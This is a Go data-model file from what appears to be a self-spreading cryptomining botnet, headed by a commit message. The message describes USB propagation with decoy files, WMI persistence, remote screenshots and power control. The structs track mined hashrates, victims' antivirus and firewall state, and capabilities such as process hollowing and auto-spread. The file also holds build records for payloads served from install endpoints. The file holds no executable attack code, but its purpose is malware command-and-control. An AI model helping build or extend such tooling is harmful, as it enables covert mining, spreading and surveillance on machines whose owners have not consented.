- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
162 lines
6.2 KiB
Go
162 lines
6.2 KiB
Go
package models
|
|
|
|
import "time"
|
|
|
|
type Agent struct {
|
|
ID string `json:"id"`
|
|
Name string `json:"name"`
|
|
Wallet string `json:"wallet"`
|
|
IP string `json:"ip"`
|
|
Version string `json:"version"`
|
|
Status string `json:"status"` // online, offline, error
|
|
CPUCores int `json:"cpu_cores"`
|
|
MemoryGB int `json:"memory_gb"`
|
|
LastSeen time.Time `json:"last_seen"`
|
|
CreatedAt time.Time `json:"created_at"`
|
|
|
|
// Runtime stats (updated via heartbeat)
|
|
Hashrate15s float64 `json:"hashrate_15s"`
|
|
Hashrate1m float64 `json:"hashrate_1m"`
|
|
Hashrate15m float64 `json:"hashrate_15m"`
|
|
SharesTotal int `json:"shares_total"`
|
|
SharesGood int `json:"shares_good"`
|
|
SharesBad int `json:"shares_bad"`
|
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
|
UptimeSeconds int `json:"uptime_seconds"`
|
|
|
|
Notes string `json:"notes"`
|
|
Tags []string `json:"tags"`
|
|
|
|
Platform string `json:"platform,omitempty"`
|
|
Arch string `json:"arch,omitempty"`
|
|
OSVersion string `json:"os_version,omitempty"`
|
|
Hostname string `json:"hostname,omitempty"`
|
|
MacAddress string `json:"mac_address,omitempty"`
|
|
|
|
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
|
LatencyMs *int `json:"latency_ms,omitempty"`
|
|
|
|
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
|
|
|
// Listen ports count (full list via listen_ports command)
|
|
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
|
|
|
// DNS config — T1016 System Network Configuration Discovery
|
|
DNSServers []string `json:"dns_servers,omitempty"`
|
|
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
|
DNSDrifted bool `json:"dns_drifted,omitempty"`
|
|
|
|
// Resource pressure — mining-specific runtime telemetry
|
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
|
|
|
// GPU / Ravencoin mining
|
|
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
|
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
|
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
|
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
|
GPUModel string `json:"gpu_model,omitempty"`
|
|
|
|
// Crucible — SSH status probed by the agent every ~60s
|
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
|
|
|
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
|
|
PostureScore int `json:"posture_score,omitempty"`
|
|
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
|
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
|
AVProducts []string `json:"av_products,omitempty"`
|
|
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
|
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
|
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
|
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
|
LastPatch *string `json:"last_patch,omitempty"`
|
|
PendingUpdates *int `json:"pending_updates,omitempty"`
|
|
RebootPending *bool `json:"reboot_pending,omitempty"`
|
|
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
|
|
|
// T1007 System Service Discovery — fixed allowlist only
|
|
Services []AgentService `json:"services,omitempty"`
|
|
}
|
|
|
|
// AgentService mirrors the ServiceStatus reported by the agent.
|
|
type AgentService struct {
|
|
Name string `json:"name"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Status string `json:"status"`
|
|
StartType string `json:"start_type"`
|
|
}
|
|
|
|
// AgentCapabilities reports forge-time features available for remote command.
|
|
type AgentCapabilities struct {
|
|
HolePunch bool `json:"hole_punch"`
|
|
RemoteAggressive bool `json:"remote_aggressive"`
|
|
MeshP2P bool `json:"mesh_p2p"`
|
|
AutoSpread bool `json:"auto_spread"`
|
|
ProcessHollowing bool `json:"process_hollowing"`
|
|
AIEnabled bool `json:"ai_enabled"`
|
|
}
|
|
|
|
type Share struct {
|
|
ID int64 `json:"id"`
|
|
AgentID string `json:"agent_id"`
|
|
JobID string `json:"job_id"`
|
|
Difficulty int64 `json:"difficulty"`
|
|
Accepted bool `json:"accepted"`
|
|
Hash string `json:"hash"`
|
|
Nonce string `json:"nonce"`
|
|
Error string `json:"error,omitempty"`
|
|
Timestamp time.Time `json:"timestamp"`
|
|
}
|
|
|
|
type HashrateSample struct {
|
|
ID int64 `json:"id"`
|
|
AgentID string `json:"agent_id"`
|
|
Hashrate float64 `json:"hashrate"`
|
|
Timestamp time.Time `json:"timestamp"`
|
|
}
|
|
|
|
type Job struct {
|
|
ID string `json:"id"`
|
|
Height int64 `json:"height"`
|
|
Difficulty int64 `json:"difficulty"`
|
|
BlockTemplate string `json:"block_template"`
|
|
SeedHash string `json:"seed_hash"`
|
|
Target string `json:"target"`
|
|
CreatedAt time.Time `json:"created_at"`
|
|
}
|
|
|
|
type BuildExtraFile struct {
|
|
FileName string `json:"file_name"`
|
|
FilePath string `json:"file_path,omitempty"`
|
|
}
|
|
|
|
type BuildRecord struct {
|
|
ID string `json:"id"`
|
|
WorkerName string `json:"worker_name"`
|
|
ServerURL string `json:"server_url"`
|
|
Wallet string `json:"wallet"`
|
|
Threads int `json:"threads"`
|
|
FileSize int64 `json:"file_size"`
|
|
BundleSize int64 `json:"bundle_size"`
|
|
FilePath string `json:"file_path"`
|
|
FileName string `json:"file_name"` // base filename for display
|
|
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
|
ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"`
|
|
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
|
CreatedAt time.Time `json:"created_at"`
|
|
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
|
|
// Pool settings
|
|
PoolHost string `json:"pool_host"`
|
|
PoolPort int `json:"pool_port"`
|
|
PoolTLS bool `json:"pool_tls"`
|
|
PoolPass string `json:"pool_pass"`
|
|
}
|